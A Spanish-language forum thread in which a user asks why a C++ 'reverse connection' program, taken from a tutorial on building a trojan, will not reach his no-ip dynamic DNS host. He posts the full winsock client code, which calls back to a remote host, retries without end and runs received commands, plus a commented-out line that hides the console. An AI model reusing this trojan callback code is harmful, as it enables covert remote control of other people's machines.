Duda sobre conexion inversa
Mr.Blue:
hola gente les comento, tengo una duda sobre la conexion inversa en mi programa tengo esta linea
Código
host=gethostbyname("ejemplo.no-ip.biz");
Pero no me lo toma no hay error en la compilacion porsupuesto, pero no me permite conectar al no ip
Tengo un router entonces abro el puerto que indico en el codigo ej: 1234
Pero no me puedo visualizar en el cliente, cuando ejecuto el server.
Puede ser que tenga algo que ver con el firewall?
Intente de dos maneras una con el no-ip y otra poniendo localhost y en esta si funciona.
Saludos
PD: Todo el codigo es el explicado por EON en el tutorial de como crear un troyano C++ y VB 6.0.
[L]ord [R]NA:
puedes mostrar el codigo con el cual te estas tratando de conectar?
Mr.Blue:
Código
#include <winsock2.h>
#include <windows.h>
#include <string>
#include "c:/Dev-Cpp/Módulos/funVarias.h"
#include "c:/Dev-Cpp/Módulos/mensajes.h"
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
int main(void)
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
//Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
}
len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de
//caracteres a enviar
while (len!=0) //Mientras que permanezcamoos conectados
{
len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
std::string sBuffer(Buffer);
if (len>0) //Si seguimos conectados...
{
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
if (Split(sBuffer, '|', 0) == "mensj")
{
//Llamamos a la funcion q muestra los mensajes
mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3));
}
}
}
main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
return 0;
}
Si este es el codigo del tuto de EON. Simplemente lo q quiero hacer es cambiar el localhost a un no-ip. pero no lo logro hacer funcar, cambio el localhost por mi no-ip y abro el puerto indicado desde mi router. Pero en el cliente no aparesco.
winnipu:
has probado en otro puerto por ej digamos vicentico.
Mr.Blue:
?
el problema creo q esta en usar gethostbyname voy a intentar con otra getadderinfo
Navegación
[#] Página Siguiente